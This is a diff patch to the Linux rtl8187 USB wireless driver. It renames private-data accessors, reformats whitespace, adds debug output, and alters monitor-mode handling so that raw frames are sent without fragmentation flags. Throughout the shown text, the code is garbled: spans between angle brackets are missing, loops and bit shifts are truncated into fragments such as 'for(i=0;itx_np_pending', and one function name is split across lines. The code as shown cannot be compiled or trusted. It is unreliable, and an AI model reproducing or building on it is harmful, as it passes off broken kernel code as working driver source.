0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,115 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +943,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +968,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +994,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1010,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1126,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1140,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1161,24 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); priv->stats.txdatapkt++; - + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + ieee80211_stop_queue_rtl7(priv->ieee80211); + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1188,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1203,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1218,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1227,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,30 +1235,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1228,7 +1268,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1289,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1347,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1358,16 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1379,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,8 +1392,8 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1365,32 +1405,32 @@ priv->stats.txlpdrop++; return -1; } - - + + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1439,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1461,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1478,54 @@ } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1534,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1545,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1566,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1593,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1620,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1661,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1708,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1768,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1816,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1825,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); 